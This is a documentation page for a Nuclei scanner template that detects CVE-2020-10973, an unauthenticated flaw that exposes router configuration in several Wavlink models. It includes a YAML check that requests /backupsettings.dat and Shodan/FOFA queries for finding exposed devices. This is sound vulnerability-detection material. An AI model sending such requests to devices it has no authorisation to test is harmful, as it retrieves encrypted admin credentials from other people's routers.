Skip to content
Nuclei Templates

WAVLINK - Access Control

ID: CVE-2020-10973

Severity: high

Author: arafatansari

Tags: cve,cve2020,exposure,wavlink

Description

Section titled “Description”

Wavlink WN530HG4, WN531G3, WN533A8, and WN551K are susceptible to improper access control via /cgi-bin/ExportAllSettings.sh, where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform a decryption step, but all decryption information is readily available.

YAML Source

Section titled “YAML Source”
id: CVE-2020-10973


info:
  name: WAVLINK - Access Control
  author: arafatansari
  severity: high
  description: |
    Wavlink WN530HG4, WN531G3, WN533A8, and WN551K are susceptible to improper access control via /cgi-bin/ExportAllSettings.sh, where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform a decryption step, but all decryption information is readily available.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or control of the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10973
    - https://github.com/sudo-jtcsec/Nyra
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10973
    - https://github.com/Roni-Carta/nyra
    - https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10973-affected_devices
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-10973
    cwe-id: CWE-306
    epss-score: 0.02524
    epss-percentile: 0.90149
    cpe: cpe:2.3:o:wavlink:wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn530hg4_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
    fofa-query: body="wavlink"
  tags: cve,cve2020,exposure,wavlink


http:
  - raw:
      - |
        GET /backupsettings.dat HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Salted__'


      - type: word
        part: header
        words:
          - application/octet-stream


      - type: status
        status:
          - 200
# digest: 490a0046304402207de71273647d8a2ba7fcce8a70d496ec55f06af77e8075b9ea3115d2319250ef02202bf599c67fcc4e9b194d545d5d371a2f02af76ffba822688ebb3f160a8e891df:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-10973.yaml"

View on Github